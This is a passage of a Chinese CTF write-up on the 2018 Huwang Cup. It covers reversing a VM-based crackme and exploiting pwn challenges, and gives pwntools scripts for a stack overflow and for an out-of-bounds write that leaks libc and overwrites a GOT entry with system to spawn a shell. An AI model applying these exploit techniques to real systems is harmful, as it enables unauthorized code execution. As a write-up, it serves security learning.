美文网首页
护网杯2018_部分Re&&PWN

护网杯2018_部分Re&&PWN

作者: Kirin_say | 来源:发表于2018-10-27 16:15 被阅读142次

    之前写的,忘了发布了,又补充了点东西放出来
    赛中整理&&赛后复现

    0x01 ReReRe

    程序分析:

    Structions

    00000000 VmRegs          struc ; (sizeof=0x4, mappedto_35)
    00000000 functionlist    dd ?                    ; offset
    00000004 VmRegs          ends
    00000004
    00000000 ; [00000008 BYTES. COLLAPSED UNION  LARGE_INTEGER. PRESS CTRL-NUMPAD+ TO EXPAND]
    
    00000000 functionlist    struc ; (sizeof=0x74, mappedto_36)
    00000000                                         ; XREF: Vm_Reg/o
    00000000 vm_mov_reg_value dd ?                   ; offset
    00000004 vm_get_high_reg dd ?
    00000008 vm_nop          dd ?
    0000000C vm_get_low_reg  dd ?
    00000010 vm_dec_high_reg dd ?
    00000014 vm_add_highreg_lowreg dd ?
    00000018 vm_sub_highreg_lowreg dd ?
    0000001C vm_inc_high_reg dd ?
    00000020 vm_xor          dd ?
    00000024 vm_and_highreg_lowreg dd ?
    00000028 vm_mul_highreg_lowreg dd ?
    0000002C vm_mod_highreg_lowreg dd ?
    00000030 vm_push_reg     dd ?
    00000034 vm_mov_highreg_lowreg dd ?
    00000038 mov_highreg_value dd ?
    0000003C vm_push         dd ?
    00000040 vm_pop_reg      dd ?
    00000044 vm_set_input    dd ?
    00000048 vm_jl           dd ?
    0000004C vm_jg           dd ?
    00000050 vm_jz           dd ?
    00000054 vm_loop         dd ?
    00000058 vm_cmp          dd ?
    0000005C input_inc       dd ?
    00000060 input_dec       dd ?
    00000064 vm_xor_data     dd ?
    00000068 vm_init         dd ?                    ; XREF: main+B4/r ; offset
    0000006C vm_ret          dd ?
    00000070 vm_handle       dd ?
    00000074 functionlist    ends
    
    00000000 _Regs           struc ; (sizeof=0x24, mappedto_38)
    00000000 _eax            db 4 dup(?)             ; string(C)
    00000004 _ebx            dd ?
    00000008 _edx            dd ?
    0000000C _ecx            dd ?                    ; offset
    00000010 _flag           dd ?
    00000014 _input          dd ?
    00000018 _ebp            dd ?
    0000001C _esp            dd ?
    00000020 _eip            dd ?
    00000024 _Regs           ends
    
    00000000 Vm_Reg          struc ; (sizeof=0x28, mappedto_37)
    00000000 function        dd ?                    ; offset
    00000004 vm_eax          dd ?
    00000008 vm_ebx          dd ?
    0000000C vm_edx          dd ?                    ; offset
    00000010 vm_ecx          dd ?
    00000014 vm_flag         dd ?
    00000018 vm_input        dd ?
    0000001C vm_ebp          dd ?
    00000020 vm_esp          dd ?
    00000024 vm_eip          dd ?
    00000028 Vm_Reg          ends
    

    main

    通过字符串定位到主函数:

    int __usercall main@<eax>(int a1@<edi>, void *Memory, int a3)
    {
      int result; // eax
      int v4; // ST1C_4
      VmRegs *v5; // eax
      Vm_Reg *v6; // eax
      _Regs *v7; // ebx
      _OWORD *v8; // edi
      void *v9; // eax
      void *v10; // esi
      int input; // ecx
      const char *v12; // eax
      VmRegs *Memorya; // [esp+8h] [ebp+8h]
    
      if ( (signed int)Memory >= 2 )
      {
        if ( strlen(*(const char **)(a3 + 4)) <= 0x30 )
        {
          v4 = a1;
          v5 = (VmRegs *)vm_malloc(0x28u);
          Memorya = v5;
          v5->functionlist = (functionlist *)&RE::`vftable';
          v6 = (Vm_Reg *)vm_malloc(0x24u);
          v7 = (_Regs *)v6;
          v6->vm_eax = 0;
          v6->vm_ebx = 0;
          v6->vm_edx = 0;
          v8 = vm___malloc(0x64u);
          v9 = vm___malloc(0x50u);
          v10 = v9;
          input = *(_DWORD *)(a3 + 4);
          *v8 = *(_OWORD *)input;
          v8[1] = *(_OWORD *)(input + 16);
          v8[2] = *(_OWORD *)(input + 32);
          *((_WORD *)v8 + 24) = *(_WORD *)(input + 48);
          v7->_input = (int)v8;
          v7->_ebp = (int)v9;
          v7->_eip = (int)&vm_code;
          ((void (__stdcall *)(_Regs *, int))Memorya->functionlist->vm_init)(v7, v4);
          ((void (*)(void))Memorya->functionlist->vm_handle)();
          ((void (__cdecl *)(_Regs *))Memorya->functionlist->vm_ret)(v7);
          v12 = "No! You are Wrong\n";
          if ( !*(_DWORD *)v7->_eax )
            v12 = "Great! Add flag{} to hash and submit\n";
          sub_2117C0(v12);
          j_j_free(v10);
          j_j_free(v8);
          sub_21183F(v7);
          sub_21183F(Memorya);
        }
        result = 0;
      }
      else
      {
        sub_2117C0("%s hash\n", *(_DWORD *)a3);
        result = 0;
      }
      return result;
    }
    

    函数表

    其中RE::`vftable'函数表内:

    .rdata:002131C8                 dd offset ??_R4RE@@6B@  ; const RE::`RTTI Complete Object Locator'
    .rdata:002131CC ; const RE::`vftable'
    .rdata:002131CC ??_7RE@@6B@     dd offset vm_mov_reg_value
    .rdata:002131CC                                         ; DATA XREF: main+46↑o
    .rdata:002131D0                 dd offset vm_get_high_reg
    .rdata:002131D4                 dd offset vm_nop
    .rdata:002131D8                 dd offset vm_get_low_reg
    .rdata:002131DC                 dd offset vm_dec_high_reg
    .rdata:002131E0                 dd offset vm_add_highreg_lowreg
    .rdata:002131E4                 dd offset vm_sub_highreg_lowreg
    .rdata:002131E8                 dd offset vm_inc_high_reg
    .rdata:002131EC                 dd offset vm_xor
    .rdata:002131F0                 dd offset vm_and_highreg_lowreg
    .rdata:002131F4                 dd offset vm_mul_highreg_lowreg
    .rdata:002131F8                 dd offset vm_mod_highreg_lowreg
    .rdata:002131FC                 dd offset vm_push_reg
    .rdata:00213200                 dd offset vm_mov_highreg_lowreg
    .rdata:00213204                 dd offset mov_highreg_value
    .rdata:00213208                 dd offset vm_push
    .rdata:0021320C                 dd offset vm_pop_reg
    .rdata:00213210                 dd offset vm_set_input
    .rdata:00213214                 dd offset vm_jl
    .rdata:00213218                 dd offset vm_jg
    .rdata:0021321C                 dd offset vm_jz
    .rdata:00213220                 dd offset vm_loop
    .rdata:00213224                 dd offset vm_cmp
    .rdata:00213228                 dd offset input_inc
    .rdata:0021322C                 dd offset input_dec
    .rdata:00213230                 dd offset vm_xor_data
    .rdata:00213234                 dd offset vm_init
    .rdata:00213238                 dd offset vm_retn
    .rdata:0021323C                 dd offset vm_handle
    

    vm_init

    int __thiscall vm_init(Vm_Reg *this, _Regs *a2)
    {
      this->vm_eax = *(_DWORD *)a2->_eax;
      this->vm_ebx = a2->_ebx;
      this->vm_edx = (functionlist *)a2->_edx;
      this->vm_ecx = (int)a2->_ecx;
      this->vm_flag = 0;
      this->vm_input = a2->_input;
      this->vm_ebp = a2->_ebp;
      this->vm_esp = a2->_ebp + 40;
      this->vm_eip = a2->_eip;
      return 0;
    }
    

    vm_handle

    int __thiscall vm_handle(unsigned __int8 **this)
    {
      Vm_Reg *v1; // esi
      int result; // eax
    
      v1 = (Vm_Reg *)this;
      while ( 1 )
      {
        result = *(unsigned __int8 *)v1->vm_eip;
        switch ( result )
        {
          case 0x43:
            return result;
          case 0x44:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_jl)(v1);
            break;
          case 0x45:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_mod_highreg_lowreg)(v1);
            break;
          case 0x46:
            ((void (__thiscall *)(Vm_Reg *))v1->function->mov_highreg_value)(v1);
            break;
          case 0x47:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_xor)(v1);
            break;
          case 0x48:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_cmp)(v1);
            break;
          case 0x49:
            ((void (__thiscall *)(Vm_Reg *))v1->function->input_inc)(v1);
            break;
          case 0x4A:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_and_highreg_lowreg)(v1);
            break;
          case 0x4B:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_jz)(v1);
            break;
          case 0x4C:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_xor_data)(v1);
            break;
          case 0x4D:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_jg)(v1);
            break;
          case 0x4E:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_dec_high_reg)(v1);
            break;
          case 0x4F:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_push)(v1);
            break;
          case 0x50:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_inc_high_reg)(v1);
            break;
          case 0x51:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_mov_highreg_lowreg)(v1);
            break;
          case 0x52:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_push_reg)(v1);
            break;
          case 0x53:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_add_highreg_lowreg)(v1);
            break;
          case 0x54:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_pop_reg)(v1);
            break;
          case 0x55:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_loop)(v1);
            break;
          case 0x56:
            ((void (__thiscall *)(Vm_Reg *))v1->function->input_dec)(v1);
            break;
          case 0x57:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_set_input)(v1);
            break;
          case 0x58:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_mul_highreg_lowreg)(v1);
            break;
          case 0x59:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_sub_highreg_lowreg)(v1);
            break;
          default:
            ((void (__thiscall *)(Vm_Reg *))v1->function->vm_nop)(v1);
            break;
        }
      }
    }
    

    vm_ret

    int __thiscall vm_retn(Vm_Reg *Vm_Reg, _Regs *a2)
    {
      int result; // eax
    
      *(_DWORD *)a2->_eax = Vm_Reg->vm_eax;
      a2->_ebx = Vm_Reg->vm_ebx;
      a2->_edx = (int)Vm_Reg->vm_edx;
      a2->_ecx = (functionlist *)Vm_Reg->vm_ecx;
      result = Vm_Reg->vm_flag;
      a2->_flag = result;
      return result;
    }
    

    vm_code处理

    提取vm_code数据
    利用脚本大致翻译成常用的汇编语言

    vmcode=[ 0x4F, 0x00, 0x00, 0x00, 0x2F, 0x55, 0x05, 0x54, 0x30, 0x46, 
      0x00, 0x47, 0x22, 0x48, 0x02, 0x4B, 0x33, 0x49, 0x4F, 0x00, 
      0x00, 0x00, 0x46, 0x54, 0x10, 0x48, 0x01, 0x4D, 0x27, 0x4F, 
      0x00, 0x00, 0x00, 0x30, 0x54, 0x10, 0x48, 0x01, 0x44, 0x16, 
      0x4F, 0x00, 0x00, 0x00, 0x39, 0x54, 0x10, 0x48, 0x01, 0x44, 
      0x0B, 0x4F, 0x00, 0x00, 0x00, 0x41, 0x54, 0x01, 0x48, 0x01, 
      0x44, 0x06, 0x47, 0x00, 0x48, 0x00, 0x4B, 0x05, 0x47, 0x00, 
      0x50, 0x00, 0x43, 0x55, 0x40, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0xA2, 0x38, 0x0B, 0xBE, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0x86, 0xCC, 0xC7, 0x75, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0x14, 0xBC, 0xEB, 0x64, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0x76, 0x8F, 0x2C, 0x49, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0x7F, 0x87, 0xC5, 0x3F, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x03, 0x50, 0x00, 0x43, 0x4F, 0x00, 0x00, 0x00, 0x07, 
      0x54, 0x30, 0x47, 0x11, 0x56, 0x46, 0x00, 0x4F, 0x00, 0x00, 
      0x00, 0x30, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x0A, 0x54, 0x20, 0x48, 0x02, 0x44, 0x09, 0x4F, 0x00, 0x00, 
      0x00, 0x07, 0x54, 0x20, 0x59, 0x02, 0x4F, 0x00, 0x00, 0x00, 
      0x10, 0x54, 0x20, 0x58, 0x12, 0x53, 0x10, 0x55, 0x2B, 0x4F, 
      0x3E, 0x9D, 0x1F, 0xAE, 0x54, 0x20, 0x48, 0x12, 0x47, 0x00, 
      0x4B, 0x02, 0x50, 0x00, 0x43, 0x00]
    eip=0
    regs=["eax","ebx","edx","ecx","flag"]
    while eip<len(vmcode):
        if vmcode[eip]==0x43:
            print str(eip)+" retn"
            eip+=1
        elif vmcode[eip]==0x44:
            print str(eip)+" jl  "+str(vmcode[eip+1]+eip+2)
            eip+=2
        elif vmcode[eip]==0x45:
            print str(eip)+" mod "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x46:
            print str(eip)+" mov "+regs[(vmcode[eip+1]&0xf0)>>4]+","+"*input"
            eip+=2
        elif vmcode[eip]==0x47:
            print str(eip)+" xor "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]        
            eip+=2
        elif vmcode[eip]==0x48:
            print str(eip)+" cmp "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x49:
            print str(eip)+" *input++"
            eip+=1
        elif vmcode[eip]==0x4a:
            print str(eip)+" and "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x4b:
            print str(eip)+" jz  "+str(vmcode[eip+1]+eip+2)
            eip+=2
        elif vmcode[eip]==0x4c:
            print str(eip)+" xor_data"
            eip+=16
        elif vmcode[eip]==0x4d:
            print str(eip)+" jg  "+str(vmcode[eip+1]+eip+2)
            eip+=2
        elif vmcode[eip]==0x4e:
            print str(eip)+" dec "+regs[(vmcode[eip+1]&0xf0)>>4]
            eip+=2
        elif vmcode[eip]==0x4f:
            print str(eip)+" push "+hex(vmcode[eip+4]+(vmcode[eip+3]<<8)+(vmcode[eip+2]<<16)+(vmcode[eip+1]<<24))
            eip+=5
        elif vmcode[eip]==0x50:
            print str(eip)+" inc "+regs[(vmcode[eip+1]&0xf0)>>4]
            eip+=2
        elif vmcode[eip]==0x51:
            print str(eip)+" mov "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x52:
            print str(eip)+" push "+regs[(vmcode[eip+1]&0xf0)>>4]
            eip+=2
        elif vmcode[eip]==0x53:
            print str(eip)+" add "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x54:
            print str(eip)+" pop "+regs[(vmcode[eip+1]&0xf0)>>4]
            eip+=2
        elif vmcode[eip]==0x55:
            print str(eip)+" loop -"+str(vmcode[eip+1])
            eip+=2
        elif vmcode[eip]==0x56:
            print str(eip)+" *input--"
            eip+=1
        elif vmcode[eip]==0x57:
            print str(eip)+" mov "+"*input,"+regs[(vmcode[eip+1]&0xf0)>>4]
            eip+=2
        elif vmcode[eip]==0x58:
            print str(eip)+" mul "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        elif vmcode[eip]==0x59:
            print str(eip)+" sub "+regs[(vmcode[eip+1]&0xf0)>>4]+","+regs[vmcode[eip+1]&0xf]
            eip+=2
        else:
            print str(eip)+" nop"
            eip+=1
    

    得到:

    0 push 0x2f
    5 loop -5
    7 pop ecx
    9 mov eax,*input
    11 xor edx,edx
    13 cmp eax,edx
    15 jz  68
    17 *input++
    18 push 0x46
    23 pop ebx
    25 cmp eax,ebx
    27 jg  68
    29 push 0x30
    34 pop ebx
    36 cmp eax,ebx
    38 jl  62
    40 push 0x39
    45 pop ebx
    47 cmp eax,ebx
    49 jl  62
    51 push 0x41
    56 pop eax
    58 cmp eax,ebx
    60 jl  68
    62 xor eax,eax
    64 cmp eax,eax
    66 jz  73
    68 xor eax,eax
    70 inc eax
    72 retn
    73 loop -64
    75 push 0x7
    80 pop ecx
    82 xor ebx,ebx
    84 *input--
    85 mov eax,*input
    87 push 0x30
    92 pop edx
    94 sub eax,edx
    96 push 0xa
    101 pop edx
    103 cmp eax,edx
    105 jl  116
    107 push 0x7
    112 pop edx
    114 sub eax,edx
    116 push 0x10
    121 pop edx
    123 mul ebx,edx
    125 add ebx,eax
    127 loop -43
    129 push 0xa2380bbeL
    134 pop edx
    136 cmp ebx,edx
    138 xor eax,eax
    140 jz  145
    142 inc eax
    144 retn
    145 push 0x7
    150 pop ecx
    152 xor ebx,ebx
    154 *input--
    155 mov eax,*input
    157 push 0x30
    162 pop edx
    164 sub eax,edx
    166 push 0xa
    171 pop edx
    173 cmp eax,edx
    175 jl  186
    177 push 0x7
    182 pop edx
    184 sub eax,edx
    186 push 0x10
    191 pop edx
    193 mul ebx,edx
    195 add ebx,eax
    197 loop -43
    199 push 0x86ccc775L
    204 pop edx
    206 cmp ebx,edx
    208 xor eax,eax
    210 jz  215
    212 inc eax
    214 retn
    215 push 0x7
    220 pop ecx
    222 xor ebx,ebx
    224 *input--
    225 mov eax,*input
    227 push 0x30
    232 pop edx
    234 sub eax,edx
    236 push 0xa
    241 pop edx
    243 cmp eax,edx
    245 jl  256
    247 push 0x7
    252 pop edx
    254 sub eax,edx
    256 push 0x10
    261 pop edx
    263 mul ebx,edx
    265 add ebx,eax
    267 loop -43
    269 push 0x14bceb64
    274 pop edx
    276 cmp ebx,edx
    278 xor eax,eax
    280 jz  285
    282 inc eax
    284 retn
    285 push 0x7
    290 pop ecx
    292 xor ebx,ebx
    294 *input--
    295 mov eax,*input
    297 push 0x30
    302 pop edx
    304 sub eax,edx
    306 push 0xa
    311 pop edx
    313 cmp eax,edx
    315 jl  326
    317 push 0x7
    322 pop edx
    324 sub eax,edx
    326 push 0x10
    331 pop edx
    333 mul ebx,edx
    335 add ebx,eax
    337 loop -43
    339 push 0x768f2c49
    344 pop edx
    346 cmp ebx,edx
    348 xor eax,eax
    350 jz  355
    352 inc eax
    354 retn
    355 push 0x7
    360 pop ecx
    362 xor ebx,ebx
    364 *input--
    365 mov eax,*input
    367 push 0x30
    372 pop edx
    374 sub eax,edx
    376 push 0xa
    381 pop edx
    383 cmp eax,edx
    385 jl  396
    387 push 0x7
    392 pop edx
    394 sub eax,edx
    396 push 0x10
    401 pop edx
    403 mul ebx,edx
    405 add ebx,eax
    407 loop -43
    409 push 0x7f87c53f
    414 pop edx
    416 cmp ebx,edx
    418 xor eax,eax
    420 jz  425
    422 inc eax
    424 retn
    425 push 0x7
    430 pop ecx
    432 xor ebx,ebx
    434 *input--
    435 mov eax,*input
    437 push 0x30
    442 pop edx
    444 sub eax,edx
    446 push 0xa
    451 pop edx
    453 cmp eax,edx
    455 jl  466
    457 push 0x7
    462 pop edx
    464 sub eax,edx
    466 push 0x10
    471 pop edx
    473 mul ebx,edx
    475 add ebx,eax
    477 loop -43
    479 push 0x3e9d1fae
    484 pop edx
    486 cmp ebx,edx
    488 xor eax,eax
    490 jz  494
    492 inc eax
    494 retn
    495 nop
    

    大致逻辑:

    读取48位输入
    判断输入在[0-9A-F]间
    而后每八位进行一次循环(逆序)转化成对应的16进制数值
    再与预先的数值比较
    6次循环后皆相等后eax为0传出
    最终:
    if ( !*(_DWORD *)v7->_eax )
    v12 = "Great! Add flag{} to hash and submit\n";
    

    flag

    提取数据
    转化成16进制大写,逆序拼接即得hash值,(hash值添加"flag{}"即为最后要提交的flag):

    key=[0x3e9d1fae,0x7f87c53f,0x768f2c49,0x14bceb64,0x86ccc775,0xa2380bbe]
    flag=""
    for i in key:
        flag+=hex(i)[2:].upper().replace('L',"")[::-1]
    print flag
    

    0x02 gettingstart

    签到题
    直接覆盖缓存区,并在程序本身.rodata段找到浮点数0.1写法:

    .rodata:000055E9F6926C10 qword_55E9F6926C10 dq 3FB999999999999Ah
    

    对应覆盖变量即可:

    from pwn import *
    
    p=remote("49.4.79.1",31184)
    p.recvuntil(".\n")
    p.sendline("a"*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
    p.interactive()
    

    0x03 shoppingcart

    在modify函数中存在数组越界:

    unsigned __int64 modify()
    {
      unsigned __int64 v0; // rax
      __int64 v1; // ST00_8
      char s; // [rsp+10h] [rbp-20h]
      unsigned __int64 v4; // [rsp+28h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      puts("Which goods you need to modify?");
      fgets(&s, 24, stdin);
      v0 = strtoul(&s, 0LL, 0);
      printf("OK, what would you like to modify %s to?\n", *goods_name_list[v0], v0);
      *((_BYTE *)*goods_name_list[v1] + read(0, *goods_name_list[v1], 8uLL)) = 0;
      return __readfsqword(0x28u) ^ v4;
    }
    

    而后利用202068偏移处保存自身地址来leak程序加载地址,然后修改money的list,使list[0]所指的money_name[0]指向money_name[1],同时修改money_name[1]指向got表(因为money_name在.bss段,当我们leak程序加载地址后money_name地址已知),此时我们modify中传入money_name[0],便会输出money_name[0]所指地址处的字符串指针(即got表地址)所指的字符串(即got表),以此leak libc,而后修改got表中函数地址到system,来执行system("/bin/sh")(system偏移是通过另一题的libc得到的,利用libc库find或者shellcode也应该可以):

    from pwn import *
    #context.log_level = 'debug'
    p=remote("49.4.78.243",30425)
    
    for i in range(3):
      p.recvuntil("!\n")
      p.sendline("1")
      p.recvuntil("?\n")
      p.sendline("aaaa")
    p.recvuntil("!\n")
    p.sendline("3")
    p.recvuntil("!\n")
    p.sendline("3")
    p.recvuntil("?\n")
    p.sendline("0xffffffffffffffd1")
    p.recvuntil("modify ")
    s=p.recvuntil("?\n")[:6].ljust(8,"\x00")
    addr=u64(s)
    p.sendline(p64(addr))
    p.recvuntil("!\n")
    p.sendline("3")
    p.recvuntil("?\n")
    p.sendline("0xffffffffffffffec")
    p.recvuntil("?\n")
    p.sendline(p64(addr+72))
    p.recvuntil("!\n")
    p.sendline("3")
    p.recvuntil("?\n")
    p.sendline("0xffffffffffffffee")
    p.recvuntil("?\n")
    p.sendline(p64(addr-0x10))
    p.recvuntil("!\n")
    p.sendline("3")
    p.recvuntil("?\n")
    p.sendline("0xffffffffffffffd8")
    p.recvuntil("modify ")
    s=p.recvuntil("?\n")[:6].ljust(8,"\x00")
    strtoul_addr=u64(s)
    p.sendline(p64(strtoul_addr-0x3b3f0+0x45390))
    p.interactive()
    

    0x04 huwang

    当cmd为666时会进入一个特殊函数:

    void __noreturn secret()
    {
      int v0; // ST04_4
      __int64 v1; // [rsp+0h] [rbp-80h]
      __int64 v2; // [rsp+0h] [rbp-80h]
      signed int i; // [rsp+0h] [rbp-80h]
      int v4; // [rsp+4h] [rbp-7Ch]
      int fd; // [rsp+8h] [rbp-78h]
      int fda; // [rsp+8h] [rbp-78h]
      int v7; // [rsp+Ch] [rbp-74h]
      char v8; // [rsp+10h] [rbp-70h]
      char s[32]; // [rsp+20h] [rbp-60h]
      char s1; // [rsp+40h] [rbp-40h]
      char buf; // [rsp+60h] [rbp-20h]
      unsigned __int64 v12; // [rsp+78h] [rbp-8h]
    
      v12 = __readfsqword(0x28u);
      puts("please input your name");
      read(0, &buf, 0x20uLL);
      memset(s, 0, 0x10uLL);
      puts("Do you want to guess the secret?");
      sub_400CC1(&v8, 2LL);
      if ( v8 == 'y' )
      {
        if ( access("/tmp/secret", 0) == -1 )
        {
          HIDWORD(v1) = open("/tmp/secret", 0101, 0x1FFLL);
          fd = open("/dev/urandom", 0);
          read(fd, s, 0xCuLL);
          LODWORD(v1) = 0;
          while ( (signed int)v1 <= 11 )
          {
            s[(signed int)v1] &= 1u;
            LODWORD(v1) = v1 + 1;
          }
          write(SHIDWORD(v1), s, 0xCuLL);
          close(SHIDWORD(v1));
          close(fd);
        }
        v0 = open("/tmp/secret", 0, v1);
        read(v0, s, 0xCuLL);
        close(v0);
        puts("Input how many rounds do you want to encrypt the secret:");
        v7 = get_num();
        if ( v7 > 10 )
        {
          puts("What? Why do you need to encrypt so many times?");
          exit(-1);
        }
        if ( !v7 )
        {
          printf("At least encrypt one time", s);
          exit(-1);
        }
        HIDWORD(v2) = open("/tmp/secret", 01001);
        LODWORD(v2) = 0;
        while ( (unsigned int)v2 < v7 )
        {
          MD5(s, 16LL, s);
          LODWORD(v2) = v2 + 1;
        }
        write(SHIDWORD(v2), s, 0x10uLL);
        close(SHIDWORD(v2));
        puts("Try to guess the md5 of the secret");
        read(0, &s1, 0x10uLL);
        if ( !memcmp(&s1, s, 0x10uLL) )
          right_secret((__int64)&buf);
        v4 = open("/tmp/secret", 01001, 0777LL, v2);
        fda = open("/dev/urandom", 0);
        read(fda, s, 0xCuLL);
        for ( i = 0; i <= 11; ++i )
          s[i] &= 1u;
        write(v4, s, 0xCuLL);
        close(v4);
        close(fda);
        exit(0);
      }
      printf("Oh!bye %s\n", &buf);
      exit(0);
    }
    

    这里注意几个open函数时flag的宏定义(位于fcntl.h文件中):

    #define O_ACCMODE   00000003
    #define O_RDONLY    00000000
    #define O_WRONLY    00000001
    #define O_RDWR      00000002
    #ifndef O_CREAT
    #define O_CREAT     00000100    /* not fcntl */
    #endif
    #ifndef O_EXCL
    #define O_EXCL      00000200    /* not fcntl */
    #endif
    #ifndef O_NOCTTY
    #define O_NOCTTY    00000400    /* not fcntl */
    #endif
    #ifndef O_TRUNC
    #define O_TRUNC     00001000    /* not fcntl */
    #endif
    #ifndef O_APPEND
    #define O_APPEND    00002000
    #endif
    #ifndef O_NONBLOCK
    #define O_NONBLOCK  00004000
    #endif
    #ifndef O_DSYNC
    #define O_DSYNC     00010000    /* used to be O_SYNC, see below */
    #endif
    #ifndef FASYNC
    #define FASYNC      00020000    /* fcntl, for BSD compatibility */
    #endif
    #ifndef O_DIRECT
    #define O_DIRECT    00040000    /* direct disk access hint */
    #endif
    #ifndef O_LARGEFILE
    #define O_LARGEFILE 00100000
    #endif
    #ifndef O_DIRECTORY
    #define O_DIRECTORY 00200000    /* must be a directory */
    #endif
    #ifndef O_NOFOLLOW
    #define O_NOFOLLOW  00400000    /* don't follow links */
    #endif
    #ifndef O_NOATIME
    #define O_NOATIME   01000000
    #endif
    #ifndef O_CLOEXEC
    #define O_CLOEXEC   02000000    /* set close_on_exec */
    #endif
    

    可以看到其过程:

    首先access判断文件存在
    不存在则open("/tmp/secret",O_CREAT|O_WRONLY),并利用/dev/urandom像其写入随机数据
    存在则open("/tmp/secret",OWRONLY | OTRUNC)
    注意:
    O_TRUNC 若文件存在并且以可写的方式打开时, 此flag会令文件长度清为0, 即清除原来的数据
    而后我们输入一个数来决定md5循环次数
    注意这里v7是int
    判断v7 > 10以及!v7时以int处理
    而md5循环时:
    (unsigned int)v2 < v7
    利用此处unsigned int的比较,可以构造一个很长的循环,程序便会停滞在此循环,而后此时/tmp/secret文件已被清零
    正常情况:
    md5循环完毕,程序将计算出的md5写入被清空的/tmp/secret文件
    传入负值:
